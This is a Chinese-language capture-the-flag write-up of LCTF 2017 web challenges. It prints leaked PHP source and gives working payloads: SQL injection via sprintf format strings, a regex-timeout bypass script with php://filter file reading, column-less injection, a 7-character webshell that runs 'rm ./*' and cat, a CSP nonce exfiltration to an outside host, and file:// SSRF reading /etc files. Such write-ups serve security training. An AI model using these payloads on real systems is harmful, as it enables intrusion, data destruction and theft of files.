周末打一波LCTF,又被虐的不轻,昨天上了一天的课,晚上整理了一下,迟到的write up。
Simple blog padding oracle attack .login.php.swp拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php error_reporting (0 );session_start ();define ("METHOD" , "aes-128-cbc" );include ('config.php' );function show_page ( ) { echo '<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Login Form</title> <link rel="stylesheet" type="text/css" href="css/login.css" /> </head> <body> <div class="login"> <h1>后台登录</h1> <form method="post"> <input type="text" name="username" placeholder="Username" required="required" /> <input type="password" name="password" placeholder="Password" required="required" /> <button type="submit" class="btn btn-primary btn-block btn-large">Login</button> </form> </div> </body> </html> ' ;} function get_random_token ( ) { $random_token = '' ; $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890" ; for ($i = 0 ; $i < 16 ; $i ++){ $random_token .= substr ($str , rand (1 , 61 ), 1 ); } return $random_token ; } function get_identity ( ) { global $id ; $token = get_random_token (); $c = openssl_encrypt ($id , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token ); $_SESSION ['id' ] = base64_encode ($c ); setcookie ("token" , base64_encode ($token )); if ($id === 'admin' ){ $_SESSION ['isadmin' ] = 1 ; }else { $_SESSION ['isadmin' ] = 0 ; } } function test_identity ( ) { if (isset ($_SESSION ['id' ])) { $c = base64_decode ($_SESSION ['id' ]); $token = base64_decode ($_COOKIE ["token" ]); if ($u = openssl_decrypt ($c , METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token )){ if ($u === 'admin' ) { $_SESSION ['isadmin' ] = 1 ; return 1 ; } }else { die ("Error!" ); } } return 0 ; } if (isset ($_POST ['username' ])&&isset ($_POST ['password' ])){ $username = mysql_real_escape_string ($_POST ['username' ]); $password = $_POST ['password' ]; $result = mysql_query ("select password from users where username='" . $username . "'" , $con ); $row = mysql_fetch_array ($result ); if ($row ['password' ] === md5 ($password )){ get_identity (); header ('location: ./admin.php' ); }else { die ('Login failed.' ); } }else { if (test_identity ()){ header ('location: ./admin.php' ); }else { show_page (); } } ?>
和njctf的一道题目比较相似,直接拿脚本来跑。
sprintf格式化字符串造成注入 成功进入后台后admin.php.swp得到再次得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );session_start ();include ('config.php' );if (!$_SESSION ['isadmin' ]){ die ('You are not admin' ); } if (isset ($_GET ['id' ])){ $id = mysql_real_escape_string ($_GET ['id' ]); if (isset ($_GET ['title' ])){ $title = mysql_real_escape_string ($_GET ['title' ]); $title = sprintf ("AND title='%s'" , $title ); }else { $title = '' ; } $sql = sprintf ("SELECT * FROM article WHERE id='%s' $title " , $id ); $result = mysql_query ($sql ,$con ); $row = mysql_fetch_array ($result ); if (isset ($row ['title' ])&&isset ($row ['content' ])){ echo "<h1>" .$row ['title' ]."</h1><br>" .$row ['content' ]; die (); }else { die ("This article does not exist." ); } } ?>
sprintf造成的问题https://paper.seebug.org/386/
接下来就是常规的注入了,没什么过滤,payload:
1 http://111.231.111.54/admin.php?id=-1&title=%251%24' union select 1,f14g,3 from `key`%23
萌萌哒报名系统 注册 首先访问.idea
目录,得到备份文件xdcms2333.zip
看了一下,重点是register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php include ('config.php' ); try { $pdo = new PDO ('mysql:host=localhost;dbname=xdcms' , $user , $pass ); }catch (Exception $e ){ die ('mysql connected error' ); } $admin = "xdsec" ."###" .str_shuffle ('you_are_the_member_of_xdsec_here_is_your_flag' ); $username = (isset ($_POST ['username' ]) === true && $_POST ['username' ] !== '' ) ? (string )$_POST ['username' ] : die ('Missing username' ); $password = (isset ($_POST ['password' ]) === true && $_POST ['password' ] !== '' ) ? (string )$_POST ['password' ] : die ('Missing password' ); $code = (isset ($_POST ['code' ]) === true ) ? (string )$_POST ['code' ] : '' ; if (strlen ($username ) > 16 || strlen ($username ) > 16 ) { die ('Invalid input' ); } $sth = $pdo ->prepare ('SELECT username FROM users WHERE username = :username' ); $sth ->execute ([':username' => $username ]); if ($sth ->fetch () !== false ) { die ('username has been registered' ); } $sth = $pdo ->prepare ('INSERT INTO users (username, password) VALUES (:username, :password)' ); $sth ->execute ([':username' => $username , ':password' => $password ]); preg_match ('/^(xdsec)((?:###|\w)+)$/i' , $code , $matches ); if (count ($matches ) === 3 && $admin === $matches [0 ]) { $sth = $pdo ->prepare ('INSERT INTO identities (username, identity) VALUES (:username, :identity)' ); $sth ->execute ([':username' => $username , ':identity' => $matches [1 ]]); } else { $sth = $pdo ->prepare ('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")' ); $sth ->execute ([':username' => $username ]); } echo '<script>alert("register success");location.href="./index.html"</script>' ;
重点是下面两行代码,满足条件即可。
1 2 3 $admin = "xdsec" ."###" .str_shuffle ('you_are_the_member_of_xdsec_here_is_your_flag' );preg_match ('/^(xdsec)((?:###|\w)+)$/i' , $code , $matches );
满屏的pdo,注入是没戏了,总结一下我知道的解法:
人品
某表哥跑脚本注册了100个用户,其中一个真的满足条件了。。。我怀疑表哥一生中中彩票的机会在这给用了。
条件竞争
比赛结束后交流发现很多师傅(包括我们)都用的这个方法。在做题过程中发现当注册的人数过多时,后台会清空数据库,来看index.php
这段代码
1 2 3 4 5 $sth = $pdo ->prepare ('SELECT identity FROM identities WHERE username = :username' );$sth ->execute ([':username' => $_SESSION ['username' ]]);if ($sth ->fetch ()[0 ] === 'GUEST' ) { $_SESSION ['is_guest' ] = true ; }
如果我们在清空数据库是仍然保持登录状态,上面这个判断就不会成立,自然就绕过检测了。当然我们也可以跑脚本注册大量用户来加速清空数据库的操作。
正解
说了这么多,终于来到正解了。问题出在preg_match
函数。
pre_match在匹配的时候会消耗较大的资源,并且默认使用贪婪匹配。所以通过输入一个超长的字符串去给pre_match匹配,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
直接写个脚本来跑吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsreg_url = 'http://123.206.120.239/register.php' login_url = 'http://123.206.120.239/login.php' index_url = 'http://123.206.120.239/member.php' s = requests.session() def register (): global s data = { 'username' : 'seaii1' , 'password' : '123456' , 'code' : 'xdsec###' + 'A' *100000 } s.post(reg_url, data=data) def login (): global s data = { 'username' : 'seaii1' , 'password' : '123456' , } s.post(login_url, data=data) if __name__ == '__main__' : register() login() r = s.get(index_url + '?file=php://filter/read=convert.base64-encode/resource=config.php' ) print (r.text)
伪协议读文件 member.php
1 2 3 4 5 6 7 8 9 10 11 $_SESSION ['is_logined' ] = true ; if (isset ($_SESSION ['is_logined' ]) === false || isset ($_SESSION ['is_guest' ]) === true ) { }else { if (isset ($_GET ['file' ])===false ) echo "None" ; elseif (is_file ($_GET ['file' ])) echo "you cannot give me a file" ; else readfile ($_GET ['file' ]); }
payload
1 http://123.206.120.239/member.php?file=php://filter/read=convert.base64-encode/resource=config.php
解码即可得到flag。
“他们”有什么秘密呢? 手快拿了个一血,美滋滋~
访问http://182.254.246.93/entrance.php
,查看源码获得提示。
简单测试了一下,union,select啥的都没过滤,可以报错。但是information
、table
、column
等可以爆表爆列关键字被过滤了,而且过滤的很严格。
但是可以通过报错来获得表名、列名
表名 1 pro_id=1 and Polygon(pro_id)
之前积累的这个姿势被过滤了,在手册上寻找其他函数https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html#function_polygon ,找到一个漏网之鱼。
1 pro_id=1 and LineString(pro_id)
得到表名 product_2017ctf
列名 1 pro_id=1 and (select * from (select * from product_2017ctf as a join product_2017ctf as b using(pro_id,pro_name,owner,d067a0fa9dc61a6e))xxx)
得到列名pro_id,pro_name,owner,d067a0fa9dc61a6e。明显我们需要知道d067a0fa9dc61a6e的值,但是d067a0fa9dc61a6e
被过滤了。
无列名注入 1 pro_id=-1 union select 1,d,3,4 from (select 1 a,2 b,3 c,4 d union select * from product_2017ctf limit 3,1)xxx
得到字段值为7195ca99696b5a896.php
,进入下一关。
7字符限制获取webshell 从网上找了一个参考http://www.vuln.cn/6016 ,大体思路就是php代码
会将当前目录下所有文件的文件名放在一起当做一条命令执行。
首先删除保存文件目录下的index.html,他会影响命令的执行。
1 filename=bash&content=123
1 filename=command&content=rm ./*
1 filename=z.php&content=<?=`*`;
之后只要修改command文件的内容执行命令就可以了。
ls /
获得flag文件名:327a6c4304ad5938eaf0efb6cc3e53dc.php
cat /3*
得到flag:LCTF{n1ver_stop_nev2r_giveup}
wanna hack him? (未做出) nonce 看题目,标准的xss页面,在preview.php看到设置了csp
目前针对csp-nonce的攻击大致有两种
通过浏览器缓存来bypass CSP script nonce
但是似乎都不太适合这个题目,后来发现preview.php
的nonce并不是随机的,隔一段时间才会变,推测admin_view.php
也会是这样。然后就僵住了。。。
来看大佬wp,可以使用<img src='http://host/?nonce=
来获取nonce,src属性的单引号会和后面的var test = 'test
闭合,就可以拿到nonce了。思路不够灵活,姿势不够猥琐呀。
getflag 这里有一点小坑,拿到nonce之后手动提交payload的话bot可能访问不到,需要写脚本一次提交多条payload。
拓展-UXSS 后来看大佬wp说可以用uxss,第一次接触这个漏洞,惭愧。。。
首先是一篇科普通用跨站脚本攻击(UXSS)
接着是大佬的wp ,写的很详细。
===================华丽的分割线===================
这两题都是ssrf,让我对ssrf有了更深的理解,详细的会更新到另一篇文章中。
(伪)签到题 (未做出) fuzz发现://
后面必须是www.baidu.com
,前面必须是字母数字和.。也就是说我们可以指定协议,知识点来了:
curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
还有一个点是要截断url末尾自动拼接的/
,使用?
当做get请求的参数,或者#
变成锚点都可以。
payload:
1 file://www.baidu.com/etc/flag?
也可以先读/etc/passwd
,有一个lctf用户,/home/lctf/
下也有flag。。。
L PLAYGROUND (未做出) 这题官方wp写的很详细了,反正当时做的时候一脸懵逼。。。
https://github.com/LCTF/LCTF2017/blob/master/src/web/l-plarground/writeup.md